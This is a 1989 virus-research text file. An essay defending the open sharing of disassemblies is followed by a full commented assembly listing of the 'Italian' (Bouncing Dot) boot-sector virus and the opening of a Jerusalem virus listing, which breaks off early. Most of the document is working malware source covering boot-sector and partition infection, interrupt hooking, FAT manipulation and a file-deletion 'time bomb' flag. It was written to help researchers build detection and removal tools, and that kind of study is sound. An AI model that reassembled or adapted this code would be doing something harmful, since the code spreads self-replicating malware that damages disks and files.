The following document is copyrighted by Jim Goodwin, 1989. It may be copied and distributed freely, as long as no changes are made. For further information or comments, I may be contacted on the Bulletin Board Society's Homebase board - (408) 988 4004. Additional virus analyses are currently being finalized and the results will be published in future versions of this document. Jim Goodwin - April 7, 1989 AN ANALYSIS OF COMPUTER VIRUS STRUCTURES There has been much disagreement within the virus research community about the wisdom of distributing detailed information about viruses, including disassemblies of viruses. Some would say that virus disassemblies can be easily re-assembled and returned to a live state; that they show people how to write viruses or that they give people ideas that they would not otherwise have. The opposing view holds that detailed information must be shared freely in order to effectively combat the virus spread. Proponents of shared information point out that hundreds of people are re-inventing the wheel by disassembling viruses that have already been disassembled many times over. They argue that it does not take a disassembly to enable someone to write a virus; that anyone with even a moderate understanding of programming can do so, and that live viruses are so common that anyone wishing to obtain one can easily get their hands on one. I very strongly favor the free information viewpoint. It is clear that we, as a user community, are suffering greatly from a lack of concrete knowledge. PC Magazine, as the prime example of this lack of knowledge, performed an evaluation of antiviral products in its April issue that is shocking to anyone with even a remote understanding of viruses. The products chosen were the TSR type of prevention products (Class I products in CVIA terminology), and these products are universally known to be practically useless. They were tested against only three viruses, none of them boot sector infectors (since TSR type products cannot possibly prevent such infections), in spite of the fact that boot infectors account for over 75% of all infection occurrences. The editor's choice was Flu-shot and, while I have nothing against Greenberg or his programming skills, the product, like all TSRs, is almost completely ineffective. Even a child could write a virus to evade the interrupt vectoring capabilities of TSRs in a DOS environment. These and other circumstances make it obvious that we are in desperate need of education. I have disassembled dozens of viruses, and I now know that it takes no specialized knowledge to write a virus. Literally anyone can write one. The concept is absurdly simple, understood by even beginning programmers. We have merely surrounded the virus issue with an air of mystique that makes it appear that there is some magic formula that must be guarded from the crowd of people waiting to write viruses. This is total nonsense. There is no magic. There is no subtlety. A program is merely written that copies itself and attaches itself to another program. If this is the secret we are trying to protect, then we have become foolish. The truth is, we need to study and disseminate existing virus structures far more than we need to hide them from crackers. A cracker gains little from a disassembly. A researcher attempting to write a disinfectant program, on the other hand, gains a great deal. The cracker is the only person who gains from the existing atmosphere of restricted information flow. If few people know the internals of a virus, then there is little likelihood that an effective remedy for the virus will be forthcoming. If many people have access, then one or more will certainly develop an identification and removal product. I also want to point out that full virus disassemblies have previously been published in at least three books and four international magazines with no known ill effects, and a great deal of positive support from readers. I do not expect the previous brief discussion will change the minds of those people who insist on a restricted flow of detailed information. I do hope, however, that those of you who have been shy about your own desires to open up and share information, will take heart and pass on the enclosed disassemblies to those people that you feel might benefit from them. I would like to take this opportunity to give my heartfelt thanks to John McAfee (who mildly disagrees with my approach) for his tireless efforts to collect and classify viruses from multiple computer architectures. His work, more than any others, has inspired me to give my all to this effort. I would also like to recognize the excellent collective work of the Computer Virus Industry Association, for their concise analysis of antiviral measures and their overwhelming contribution to my collection of 60 odd viruses. Neither John nor the Association, by the way, is in any way responsible for my publication and distribution of this document. I take sole and full responsibility. THE VIRUSES ************************************************************************* ------------------------------------------------------------------------- ------------------------------------------------------------------------- ************************************************************************* The "Italian Virus" Also Called - Bouncing Dot, Vera Cruz and Missouri virus. ; ORIGININ ADDRESS -7C00H RAM SEGMENT AT 0 ; SYSTEM DATA ORG 20H INT8OF DW ? ; INTERRUPT 8 OFFSET INT8SG DW ? ; INTERRUPT 8 SEGMENT ORG 4CH INT19O DW ? ; INTERRUPT 19 OFFSET INT19S DW ? ; INTERRUPT 19 SEGMENT ORG 413H RAMSIZ DW ? ; TOTAL RAM SIZE ; BPB OF VIRUS BOOT RECORD ORG 7C0BH BYPSEC DW ? ; BYTES PER SECTOR NUMSEC DB ? ; SECTORS PER ALLOCATION UNIT SECRES DW ? ; RESERVED SECTORS FATNUM DB ? ; NUMBER OF FATS DIRNUM DW ? ; NUMBER OF ROOT DIR ENTRIES SECNUM DW ? ; NUMBER OF SECTORS MEDIAD DB ? ; MEDIA DESCRIPTOR SECFAT DW ? ; NUMBER OF SECTORS PER FAT SECTRK DW ? ; SECTORS PER TRACK HEDNUM DW ? ; NUMBER OF HEADS HIDSEC DW ? ; NUMBER OF HIDDEN SECTORS (LOW ORDER) ; INTERRUPT 19 (13H) BRANCH ADDRESS ORG 7D2AH ORIG19 DW ? ; ORIGINAL INT 19 OFFSET ORG19S DW ? ; ORIGINAL INT 19 SEGMENT ; INSTALLATION DATA AREA ORG 7DF3H CURFAT DW ? ; CURRENT FAT CURCLS DW ? ; SECTOR NUMBER OF FIRST CLUSTER SWITCH DB ? ; SWITCHES ; - 01H - NESTED INTERRUPT ; - 02H - TIMER INTERRUPT ; - 04H - 16-BIT FAT LSTDRV DB ? ; LAST DRIVE USED REMAIN DW ? ; SECTOR NUMBER OF REST OF CODE RESERV DB ? ; RESERVED SPACE FOR FUTURE HACKING FLAG01 DW ? ; FLAG FIELD ; DATA AREA ORG 7EB0H LASTTM DW ? ; SYSTEM TIME LAST CALLED PRCFAT DB ? ; PROCESSED FAT / 256 ; INTERRUPT 8 BRANCH ADDRESS ORG 7FC9H ORG08O DW ? ; ORIGINAL INT 8 OFFSET ORG08S DW ? ; ORIGINAL INT 8 SEGMENT ; DISPLAY DATA AREA ORG 7FCDH CHARAT DW ? ; CHARACTER AND ATTRIBUTES ROWCOL DW ? ; ROW AND COLUMN POSITIONS ROWCLM DW ? ; ROW AND COLUMN MOVEMENT GRAPHM DB ? ; GRAPHICS MODE SWITCH MODEAP DW ? ; MODE AND ACTIVE PAGE COLUMN DB ? ; VISIBLE COLUMNS - 1 ; BPB OF ORIGINAL BOOT RECORD ORG 800BH BIPSEC DW ? ; BYTES PER SECTOR ALCSEC DB ? ; SECTORS PER ALLOCATION UNIT VERVED DW ? ; RESERVED SECTORS RUMNUM DB ? ; NUMBER OF FATS ROTRID DW ? ; NUMBER OF ROOT DIR ENTRIES NUOSEC DW ? ; NUMBER OF SECTORS MIASET DB ? ; MEDIA DESCRIPTOR FASNUM DW ? ; NUMBER OF SECTORS PER FAT TRASSC DW ? ; SECTORS PER TRACK NUOHED DW ? ; NUMBER OF HEADS HIDESC DW ? ; NUMBER OF HIDDEN SECTORS (LOW ORDER) ORG 81F5H FSTCLS DW ? ; SECTOR NUMBER OF FIRST CLUSTER SWITCB DB ? ; SWITCHES - 01H - NESTED INTERRUPT ; - 02H - TIMER INTERRUPT INSTALLED ; - 04H - 16-BIT FAT LASTUS DB ? ; DRIVE LAST USED REMAI2 DW ? ; SECTOR NUMBER OF REST OF CODE LATER2 DB ? ; TYPE SWITCH LATER3 DW 2 DUP (?) ; INSTALLED.. HMMM? RAM ENDS CODE SEGMENT BYTE PUBLIC 'CODE' ASSUME CS:CODE,DS:RAM START: JMP HIDE_ME_PLEASE ; BRANCH ROUND BPB TABLE DB 'MSDOS3.2' ; OEM AND VERSION DW 512 ; BYPSEC - BYTES PER SECTOR DB 2 ; NUMSEC - SECTORS PER ALLOCATION UNIT DW 1 ; SECRES - RESERVED SECTORS DB 2 ; FATNUM - NUMBER OF FATS DW 112 ; DIRNUM - NUMBER OF ROOT DIR ENTRIES DW 720 ; SECNUM - NUMBER OF SECTORS DB 0FDH ; MEDIAD - MEDIA DESCRIPTOR DW 2 ; SECFAT - NUMBER OF SECTORS PER FAT DW 9 ; SECTRK - SECTORS PER TRACK DW 2 ; HEDNUM - NUMBER OF HEADS DW 0 ; HIDSEC - NUMBER OF HIDDEN SECTORS (LOW ORDER) ; START OF PROCESSING ; HIDE 2K OF RAM FROM SYSTEM AND MOVE INTO THIS HIDDEN AREA HIDE_ME_PLEASE: XOR AX,AX MOV SS,AX ; STACK SEGMENT ZERO MOV SP,7C00H ; SET STACK POINTER TO START OF BUFFER MOV DS,AX ; DATA SEGMENT ZERO MOV AX,RAMSIZ ; GET TOTAL RAM SIZE SUB AX,2 ; SUBTRACT 2K MOV RAMSIZ,AX ; REPLACE AMENDED RAM SIZE MOV CL,6 ; NUMBER OF POSITIONS TO SHIFT SHL AX,CL ; MULTIPLY RAM SIZE BY 64 (SEGMENT ADDRESS) SUB AX,7C0H ; SUBTRACT BUFFER OFFSET MOV ES,AX ; SET TARGET SEGMENT ADDRESS MOV SI,7C00H ; LOAD BUFFER TARGET OFFSET MOV DI,SI ; COPY OFFSET FOR SOURCE MOV CX,0100H ; NUMBER OF WORDS TO MOVE REPZ MOVSW ; DUPLICATE BOOT SECTOR IN HIGH STORAGE ; MOV CS,AX ; LOAD SEGMENT OF NEW LOCATION ; THIS IS THE ILLEGAL OPCODE! DB 08EH, 0C8H ; PREVIOUS COMMAND HARD CODED ; FROM THIS POINT ON WILL BE RUNNING IN HIGH STORAGE PUSH CS ; \ SET DS EQUAL TO CS POP DS ; / CALL SET_IT_UP SET_IT_UP: XOR AH,AH ; INITIALISE DISK SUB-SYSTEM INT 13H ; DISK INTERRUPT AND LSTDRV,80H ; SET ADDRESS FOR HARD DISK MOV BX,REMAIN ; GET SECTOR OF REST OF CODE PUSH CS ; \ GET CURRENT SEGMENT POP AX ; / SUB AX,20H ; ADDRESS BACK ONE SECTOR MOV ES,AX ; SET BUFFER SEGMENT FOR REST OF CODE CALL READ_IT_IN ; READ REST OF CODE MOV BX,REMAIN ; GET SECTOR OF REST OF CODE INC BX ; ADDRESS TO BOOT SECTOR STORE MOV AX,0FFC0H ; WRAP-AROUND ADDRESS (= -400H) MOV ES,AX ; SET BUFFER SEGMENT FOR BOOT SECTOR CALL READ_IT_IN ; READ REAL BOOT SECTOR XOR AX,AX MOV SWITCH,AL ; SET OFF ALL SWITCHES MOV DS,AX ; DATA SEGMENT ZERO MOV AX,INT19O ; SAVE INT 19 OFFSET MOV BX,INT19S ; SAVE INT 19 SEGMENT MOV INT19O,OFFSET INT_19+7C00H ; NEW INT 19 OFFSET MOV INT19S,CS ; NEW INT 19 SEGMENT PUSH CS ; \ SET DS EQUAL TO CS POP DS ; / MOV ORIG19,AX ; STORE OLD INT 19 OFFSET MOV ORG19S,BX ; STORE OLD INT 19 SEGMENT MOV DL,LSTDRV ; GET DRIVE NUMBER DB 0EAH ; FAR JUMP TO BOOT SECTOR DW 7C00H, 0 WRITE_IT_OUT: MOV AX,301H ; WRITE ONE SECTOR JMP SHORT GET_SECTOR READ_IT_IN: MOV AX,201H ; READ ONE SECTOR GET_SECTOR: XCHG BX,AX ; MOVE SECTOR NUMBER TO AX ADD AX,HIDSEC ; ADD HIDDEN SECTORS XOR DX,DX ; CLEAR FOR DIVISION DIV SECTRK ; DIVIDE BY SECTORS PER TRACK INC DL ; ADD ONE TO ODD SECTORS MOV CH,DL ; SAVE SECTOR NUMBER XOR DX,DX ; CLEAR FOR DIVISION DIV HEDNUM ; DIVIDE BY NUMBER OF HEADS MOV CL,6 ; POSITIONS TO MOVE SHL AH,CL ; MOVE TOP TWO BITS OF TRACK OR AH,CH ; MOVE IN SECTOR NUMBER MOV CX,AX ; MOVE TO CORRECT REGISTER XCHG CH,CL ; ..AND CORRECT POSITION IN REG MOV DH,DL ; MOVE HEAD NUMBER MOV AX,BX ; RECOVER CONTENTS OF AX BRING_IN: MOV DL,LSTDRV ; GET DRIVE NUMBER MOV BX,8000H ; SET BUFFER ADDRESS INT 13H ; DISK INTERRUPT JNB GO_BACK ; BRANCH IF NO ERRORS POP AX GO_BACK: RET ; INTERRUPT 19 (13H) (DISK) ROUTINE INT_19: PUSH DS PUSH ES PUSH AX PUSH BX PUSH CX PUSH DX PUSH CS ; \ SET DS EQUAL TO CS POP DS ; / PUSH CS ; \ SET ES EQUAL TO CS POP ES ; / TEST SWITCH,1 ; TEST NESTED INTERRUPT SWITCH JNZ PASS_OUT ; EXIT IF ON CMP AH,2 ; TEST FOR READ SECTOR JNZ PASS_OUT ; EXIT IF NOT CMP LSTDRV,DL ; COMPARE DRIVE NUMBER MOV LSTDRV,DL ; SAVE DRIVE NUMBER JNZ INT_SWITCH ; BRANCH IF DIFFERENT THIS TIME ; THIS IS THE ACTIVATION CODE. IT HAS A 'WINDOW' OF JUST LESS ; THAN A SECOND, APPROXIMATELY EVERY HALF HOUR, DURING WHICH ; TIME A DISK-READ WILL SWITCH IT ON. XOR AH,AH ; GET SYSTEM CLOCK INT 1AH ; SYSTEM CLOCK INTERRUPT TEST DH,7FH ; TEST LOW WORD HIGH BYTE JNZ DO_TIME TEST DL,0F0H ; TEST LOW WORD LOW BYTE JNZ DO_TIME PUSH DX ; SAVE SYSTEM TIME CALL INTERRUPT_08 ; INSTALL SYSTEM CLOCK ROUTINE POP DX ; RECOVER SYSTEM TIME DO_TIME: MOV CX,DX ; COPY SYSTEM TIME SUB DX,LASTTM ; INTERVAL SINCE LAST CALL MOV LASTTM,CX ; SAVE SYSTEM TIME SUB DX,24H ; SUBTRACT 2 SECONDS JB PASS_OUT ; RETURN IF LESS THAN TWO SECONDS INT_SWITCH: OR SWITCH,1 ; SET ON NESTED INTERRUPT SWITCH PUSH SI PUSH DI CALL DISK_INSTALL ; INSTALL ON DISK POP DI POP SI AND SWITCH,0FEH ; SET OFF NESTED INTERRUPT SWITCH PASS_OUT: POP DX POP CX POP BX POP AX POP ES POP DS DB 0EAH ; FAR JUMP TO ORIGINAL INT 19 DW 01FBH ; ORIG19 - ORIGINAL INT 19 OFFSET DW 0C800H ; ORG19S - ORIGINAL INT 19 SEGMENT ; DISK INSTALLATION DISK_INSTALL: MOV AX,201H ; READ ONE SECTOR MOV DH,0 ; HEAD NUMBER 0 MOV CX,1 ; TRACK 0, SECTOR 1 CALL BRING_IN ; READ FIRST SECTOR FROM DISK TEST LSTDRV,80H ; TEST FOR HARD DRIVE JZ FAT_CHECK ; BRANCH IF NOT ; HARD DISK - PARTITION TABLE MOV SI,81BEH ; ADDRESS TO PARTITION TABLE MOV CX,4 ; NUMBER OF ENTRIES IN TABLE NEXT_PART_ENTRY: CMP BYTE PTR [SI+4],1 ; TEST FOR DOS 12-BIT FAT JZ SNARF_UP_THE_BOOT ; BRANCH IF YES CMP BYTE PTR [SI+4],4 ; TEST FOR DOS 16-BIT FAT JZ SNARF_UP_THE_BOOT ; BRANCH IF YES ADD SI,10H ; ADDRESS TO NEXT ENTRY LOOP NEXT_PART_ENTRY ; LOOP THROUGH TABLE RET ; HARD DISK - GET BOOT RECORD SNARF_UP_THE_BOOT: MOV DX,[SI] ; GET HEAD NUMBER OF BOOT MOV CX,[SI+2] ; GET TRACK AND SECTOR OF BOOT MOV AX,201H ; READ ONE SECTOR CALL BRING_IN ; GET BOOT SECTOR FOR PARTITION ; BOOT SECTOR PROCESSING FAT_CHECK: MOV SI,8002H ; ADDRESS TO BPB SOURCE MOV DI,7C02H ; ADDRESS TO BPB TARGET MOV CX,1CH ; LENGTH OF BPB REPZ MOVSB ; COPY BPB CMP LATER3,1357H ; IS VIRUS INSTALLED ALREADY JNZ WHERE_BE_THE_FAT ; BRANCH IF NOT CMP LATER2,0 JNB HEAD_EM_OUT MOV AX,FSTCLS ; GET SECTOR NO OF FIRST CLUSTER MOV CURCLS,AX ; SAVE IT MOV SI,REMAI2 JMP PLACE_VIRUS HEAD_EM_OUT: RET ; CALCULATE LOCATION OF FAT AND FIRST CLUSTER WHERE_BE_THE_FAT: CMP BIPSEC,200H ; SECTOR SIZE 512 JNZ HEAD_EM_OUT ; EXIT IF DIFFERENT SIZE CMP ALCSEC,2 ; SECTORS PER CLUSTER JB HEAD_EM_OUT ; EXIT IF LESS THAN 2 MOV CX,VERVED ; GET RESERVED SECTORS MOV AL,RUMNUM ; NUMBER OF FATS CBW ; FILL OUT REGISTER MUL FASNUM ; SECTORS PER FAT ADD CX,AX ; SECTOR OF ROOT DIR MOV AX,20H ; LENGTH OF DIR ENTRY MUL ROTRID ; NUMBER OF DIR ENTRIES ADD AX,1FFH ; ROUND UP TO WHOLE SECTORS MOV BX,200H ; LENGTH OF SECTOR DIV BX ; SECTORS OF ROOT DIR ADD CX,AX ; SECTOR OF FIRST CLUSTER MOV CURCLS,CX ; SAVE THIS MOV AX,SECNUM ; GET NUMBER OF SECTORS SUB AX,CURCLS ; SUBTRACT NON-DATA SECTORS MOV BL,NUMSEC ; GET SECTORS PER CLUSTER XOR DX,DX XOR BH,BH ; CLEAR TOP OF REGISTER DIV BX ; CALCULATE NUMBER OF CLUSTERS INC AX ; ALLOW FOR NUMBER ONE NOT USED MOV DI,AX AND SWITCH,0FBH ; SET OFF 16-BIT FAT SWITCH CMP AX,0FF0H ; SEE IF 12-BIT FAT JBE WRITE_FAT ; BRANCH IF YES OR SWITCH,4 ; SET ON 16-BIT FAT SWITCH WRITE_FAT: MOV SI,1 ; INITIALISE FAT ENTRY COUNT MOV BX,SECRES ; GET RESERVED SECTORS DEC BX ; ALLOW FOR ADDITION MOV CURFAT,BX ; SAVE CURRENT FAT SECTOR MOV PRCFAT,0FEH ; SET PROCESSED FAT LENGTH TO -2 JMP SHORT READ_FAT ; DATA AREA DW 2 ; CURFAT - CURRENT FAT SECTOR DW 12 ; CURCLS - SECTOR NUMBER OF FIRST CLUSTER DB 1 ; SWITCH - SWITCHES ; - 01H - NESTED INTERRUPT ; - 02H - TIMER INTERRUPT INSTALLED ; - 04H - 16-BIT FAT DB 0 ; LSTDRV - DRIVE LAST USED DW 02B8H ; REMAIN - SECTOR NUMBER OF REST OF CODE DB 0 ; RESERV - RESERVED SPACE.. FOR FUTURE HACKING DW 1357H, 0AA55H ; FLAG01 - FLAG FIELD. ; END OF FIRST SECTOR, START OF SECOND ; SEARCH FAT FOR UNUSED CLUSTER READ_FAT: INC CURFAT ; ADDRESS TO NEXT FAT SECTOR MOV BX,CURFAT ; GET NEXT SECTOR NUMBER ADD PRCFAT,2 ; ADD TO PROCESSED FAT LENGTH CALL READ_IT_IN ; READ FAT SECTOR JMP SHORT GET_EM_NEXT FAT_SWITCH: MOV AX,3 ; LENGTH OF TWO FAT ENTRIES TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH JZ FAT_ENTRY ; BRANCH IF OFF INC AX ; FOUR BYTES NOT THREE FAT_ENTRY: MUL SI ; MULTIPLY BY FAT ENTRY NUMBER SHR AX,1 ; DIVIDE BY TWO SUB AH,PRCFAT ; SUBTRACT PROCESSED FAT LENGTH MOV BX,AX ; COPY DISPLACEMENT CMP BX,1FFH ; SEE IF IN THIS SECTOR JNB READ_FAT ; BRANCH IF NOT MOV DX,[BX+8000H] ; GET ENTRY TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH JNZ F_TEST_1 ; BRANCH IF ON MOV CL,4 ; POSITIONS TO MOVE TEST SI,1 ; TEST FOR ODD-NUMBERED ENTRY JZ FAT_TOP ; BRANCH IF NOT SHR DX,CL ; SHIFT EVEN ENTRY INTO POSITION FAT_TOP: AND DH,0FH ; SWITCH OFF TOP BITS F_TEST_1: TEST DX,0FFFFH ; TEST ALL BITS JZ MAKE_BAD ; BRANCH IF NONE ON GET_EM_NEXT: INC SI ; NEXT FAT ENTRY CMP SI,DI ; HAS LAST ENTRY BEEN PROCESSED JBE FAT_SWITCH ; BRANCH IF NOT RET ; SPARE CLUSTER FOUND - INSTALL ON DISK MAKE_BAD: MOV DX,0FFF7H ; LOAD BAD SECTOR MARKER TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH JNZ FIND_SECTOR ; BRANCH IF ON AND DH,0FH ; CONVERT MARKER TO FF7H MOV CL,4 ; BITS TO MOVE TEST SI,1 ; TEST FOR ODD-NUMBERED ENTRY JZ FIND_SECTOR ; BRANCH IF NOT SHL DX,CL ; MOVE INTO POSITION FIND_SECTOR: OR [BX+8000H],DX ; PUT MARKER INTO FAT MOV BX,CURFAT ; GET SECTOR NUMBER CALL WRITE_IT_OUT ; WRITE FAT SECTOR MOV AX,SI ; GET ENTRY NUMBER SUB AX,2 ; SUBTRACT FIRST CLUSTER NUMBER MOV BL,NUMSEC ; GET SECTORS PER CLUSTER XOR BH,BH ; CLEAR TOP OF REGISTER MUL BX ; CONVERT TO SECTORS ADD AX,CURCLS ; ADD SECTOR NUMBER OF 1ST CLUSTER MOV SI,AX ; SAVE REAL SECTOR NUMBER MOV BX,0 ; SECTOR ZERO CALL READ_IT_IN ; READ BOOT SECTOR MOV BX,SI ; GET OUTPUT SECTOR NUMBER INC BX ; ADDRESS TO NEXT SECTOR CALL WRITE_IT_OUT ; WRITE BOOT SECTOR TO STORE PLACE_VIRUS: MOV BX,SI ; GET OUTPUT SECTOR NUMBER MOV REMAIN,SI ; SAVE SECTOR NO OF REST OF CODE PUSH CS ; \ GET CURRENT SEGMENT POP AX ; / SUB AX,20H ; ADDRESS BACK TO VIRUS (2) MOV ES,AX ; SET BUFFER ADDRESS CALL WRITE_IT_OUT ; WRITE VIRUS (2) PUSH CS ; \ GET CURRENT SEGMENT POP AX ; / SUB AX,40H ; ADDRESS BACK TO VIRUS (1) MOV ES,AX ; SET BUFFER ADDRESS MOV BX,0 ; SECTOR ZERO CALL WRITE_IT_OUT ; WRITE VIRUS (1) RET DW 20CH ; LASTTM - SYSTEM TIME LAST CALLED DB 2 ; PRCFAT - PROCESSED FAT / 256 ; INSTALL INTERRUPT 8 (SYSTEM CLOCK) ROUTINE IF NOT DONE INTERRUPT_08: TEST SWITCH,2 ; TEST INT 8 INSTALLED SWITCH JNZ FINISH_TIME ; BRANCH IF ON OR SWITCH,2 ; SET ON INT 8 INSTALLED SWITCH MOV AX,0 ; \ SEGMENT ZERO MOV DS,AX ; / MOV AX,INT8OF ; SAVE INT 8 OFFSET MOV BX,INT8SG ; SAVE INT 8 SEGMENT MOV INT8OF,OFFSET DO_VIDEO+7C00H ; NEW INT 8 OFFSET MOV INT8SG,CS ; NEW INT 8 SEGMENT PUSH CS ; \ SET DS EQUAL TO CS POP DS ; / MOV ORG08O,AX ; STORE OLD INT 8 OFFSET MOV ORG08S,BX ; STORE OLD INT 8 SEGMENT FINISH_TIME: RET ; INTERRUPT 10 DO_VIDEO: PUSH DS PUSH AX PUSH BX PUSH CX PUSH DX PUSH CS ; \ SET DS EQUAL TO CS POP DS ; / MOV AH,0FH ; GET VDU PARAMETERS INT 10H ; VDU INTERRUPT MOV BL,AL ; VDU MODE CMP BX,MODEAP ; TEST MODE AND ACTIVE PAGE JZ CHARACTER_ATTRIB ; BRANCH IF UNCHANGED MOV MODEAP,BX ; SAVE MODE AND ACTIVE PAGE DEC AH ; VISIBLE COLUMNS MOV COLUMN,AH ; SAVE VISIBLE COLUMNS - 1 MOV AH,1 ; GRAPHICS MODE SWITCH ON CMP BL,7 ; TEST FOR TELETYPE MODE JNZ IS_IT_GRAPHICS ; BRANCH IF NOT DEC AH ; GRAPHICS MODE SWITCH OFF IS_IT_GRAPHICS: CMP BL,4 ; TEST FOR GRAPHICS MODE JNB ROW_AND_COLUMN ; BRANCH IF GRAPHICS OR TELETYPE DEC AH ; GRAPHICS MODE SWITCH OFF ROW_AND_COLUMN: MOV GRAPHM,AH ; STORE GRAPHICS MODE SWITCH MOV ROWCOL,101H ; SET ROW AND COLUMN POSITIONS MOV ROWCLM,101H ; SET ROW AND COLUMN MOVEMENT MOV AH,3 ; GET CURSOR ADDRESS INT 10H ; VDU INTERRUPT PUSH DX ; SAVE CURSOR ADDRESS MOV DX,ROWCOL ; GET ROW AND COLUMN POSITIONS JMP SHORT VIDEO_01 CHARACTER_ATTRIB: MOV AH,3 ; GET CURSOR ADDRESS INT 10H ; VDU INTERRUPT PUSH DX MOV AH,2 ; SET CURSOR ADDRESS MOV DX,ROWCOL ; GET ROW AND COLUMN POSITIONS INT 10H ; VDU INTERRUPT MOV AX,CHARAT ; GET CHARACTER AND ATTRIBUTES CMP GRAPHM,1 ; TEST FOR GRAPHICS MODE JNZ WRITE_CHAR ; BRANCH IF NOT MOV AX,8307H ; CHARACTER AND WRITE MODE WRITE_CHAR: MOV BL,AH ; MOVE ATTRIBUTE OR WRITE MODE MOV CX,1 ; ONLY ONCE MOV AH,9 ; WRITE CHARACTER AND ATTRIBUTES INT 10H ; VDU INTERRUPT VIDEO_01: MOV CX,ROWCLM ; GET ROW AND COLUMN MOVEMENT CMP DH,0 ; IS ROW ZERO JNZ VIDEO_02 ; BRANCH IF NOT XOR CH,0FFH ; \ REVERSE ROW MOVEMENT INC CH ; / VIDEO_02: CMP DH,18H ; IS ROW 24 JNZ VIDEO_04 ; BRANCH IF NOT XOR CH,0FFH ; \ REVERSE ROW MOVEMENT INC CH ; / VIDEO_04: CMP DL,0 ; IS COLUMN 0 JNZ VIDEO_05 ; BRANCH IF NOT XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT INC CL ; / VIDEO_05: CMP DL,COLUMN ; IS COLUMN LAST VISIBLE COLUMN JNZ VIDEO_07 ; BRANCH IF NOT XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT INC CL ; / VIDEO_07: CMP CX,ROWCLM ; COMPARE ROW AND COLUMN MOVEMENT JNZ VIDEO_09 ; BRANCH IF CHANGED MOV AX,CHARAT ; GET CHARACTER AND ATTRIBUTES AND AL,7 ; SWITCH OFF TOP BIT OF CHARACTER CMP AL,3 ; TEST BITS 1 AND 2 JNZ VIDEO_08 ; BRANCH IF OFF XOR CH,0FFH ; \ REVERSE ROW MOVEMENT INC CH ; / VIDEO_08: CMP AL,5 ; TEST BITS 1 AND 3 JNZ VIDEO_09 ; BRANCH IF OFF XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT INC CL ; / VIDEO_09: ADD DL,CL ; NEW COLUMN POSITION ADD DH,CH ; NEW ROW POSITION MOV ROWCLM,CX ; SAVE ROW AND COLUMN POSITIONS MOV ROWCOL,DX ; SAVE ROW AND COLUMN POSITIONS MOV AH,2 ; SET CURSOR ADDRESS INT 10H ; VDU INTERRUPT MOV AH,8 ; READ CHARACTER AND ATTRIBUTES INT 10H ; VDU INTERRUPT MOV CHARAT,AX ; SAVE CHARACTER AND ATTRIBUTES MOV BL,AH ; MOVE ATTRIBUTES CMP GRAPHM,1 ; TEST FOR GRAPHICS MODE JNZ VIDEO_10 ; BRANCH IF NOT MOV BL,83H ; WRITE MODE FOR GRAPHICS VIDEO_10: MOV CX,1 ; ONCE ONLY MOV AX,907H ; WRITE CHARACTER AND ATTRIBUTES INT 10H ; VDU INTERRUPT POP DX ; RESTORE CURSOR ADDRESS MOV AH,2 ; SET CURSOR ADDRESS INT 10H ; VDU INTERRUPT POP DX POP CX POP BX POP AX POP DS DB 0EAH ; FAR JUMP TO ORIGINAL INT 8 DW 0907H ; ORG08O - ORIGINAL INT 8 OFFSET DW 10BDH ; ORG08S - ORIGINAL INT 8 SEGMENT DW 0720H ; CHARAT - CHARACTER AND ATTRIBUTES DW 1533H ; ROWCOL - ROW AND COLUMN POSITIONS DW 01FFH ; ROWCLM - ROW AND COLUMN MOVEMENT DB 0 ; GRAPHM - GRAPHICS MODE SWITCH DW 3 ; MODEAP - MODE AND ACTIVE PAGE DB 4FH ; DW7FD6 - VISIBLE COLUMNS - 1 DB 0B7H, 0B7H, 0B7H, 0B6H, 040H, 040H, 088H, 0DEH, 0E6H DB 05AH, 0ACH, 0D2H, 0E4H, 0EAH, 0E6H, 040H, 050H DB 0ECH, 040H, 064H, 05CH, 060H, 052H, 040H, 040H DB 040H, 040H, 064H, 062H, 05EH, 062H, 060H, 05EH DB 070H, 06EH, 040H, 041H, 0B7H, 0B7H, 0B7H, 0B6H ; END OF SECOND SECTOR, ORIGINAL BOOT SECTOR BEGINS HERE CODE ENDS END START *************************************************************************** --------------------------------------------------------------------------- --------------------------------------------------------------------------- *************************************************************************** The "Jerusalem" virus. Also Called - Israeli, PLO, Friday the 13th - Version A PAGE 64,132 ;-----------------------------------------------------------------------; ; THE "JERUSALEM" VIRUS ; ;-----------------------------------------------------------------------; ; ORG 100H ; ; ;-----------------------------------------------------------------------; ; JERUSALEM VIRUS ; ;-----------------------------------------------------------------------; BEGIN_COM: ;COM FILES START HERE JMP CONTINUE ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; A0103 DB 073H,055H MS_DOS DB 'MsDos' ; DB 000H,001H,015H,018H TIME_BOMB DB 0 ;WHEN == 1 THIS FILE GETS DELETED! DB 000H A0010 DB 000H A0011 DW 100H ;HOST SIZE (BEFORE INFECTION) OLD_08 DW 0FEA5H,0F000H ;OLD INT 08H VECTOR (CLOCK TIC) OLD_21 DW 1460H,024EH ;OLD INT 21H VECTOR OLD_24 DW 0556H,16A5H ;001B A_FLAG DW 7E48H ;??? A0021 DB 000H,000H,000H,000H,000H,000H,000H DB 000H,000H,000H,000H A002C DW 0 ;A SEGMENT DB 000H,000H A0030 DB 000H A0031 DW 0178EH ;OLD ES VALUE A0033 DW 0080H ; ; EXEC_BLOCK DW 0 ;ENV. SEG. ADDRESS ;0035 DW 80H ;COMMAND LINE ADDRESS DW 178EH ;+4 DW 005CH ;FCB #1 ADDRESS DW 178EH ;+8 DW 006CH ;FCB #2 ADDRESS DW 0178EH ;+12 ; HOST_SP DW 0710H ;(TAKEN FROM EXE HEADER) 0043 HOST_SS DW 347AH ;(AT TIME OF INFECTION) HOST_IP DW 00C5H ; HOST_CS DW 347AH ; ;CHECKSUM NOT STORED, TO UNINFECT, YOU MUST CALC IT YOURSELF ; A004B DW 0F010H ; A004D DB 82H ; A004E DB 0 ; EXE_HDR DB 1CH DUP (?) ;004F A006B DB 5 DUP (?) ;LAST 5 BYTES OF HOST HANDLE DW 0005H ;0070 HOST_ATT DW 0020H ;0072 HOST_DATE DW 0021H ;0074 HOST_TIME DW 002DH ;0076 BLOCK_SIZE DW 512 ;512 BYTES/BLOCK A007A DW 0010H HOST_SIZE DW 27C0H,0001H ;007C HOST_NAME DW 41D9H,9B28H ;POINTER TO HOST NAME COMMAND_COM DB 'COMMAND.COM' DB 1 A0090 DB 0,0,0,0,0 ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; CONTINUE: ; CLD ; MOV AH,0E0H 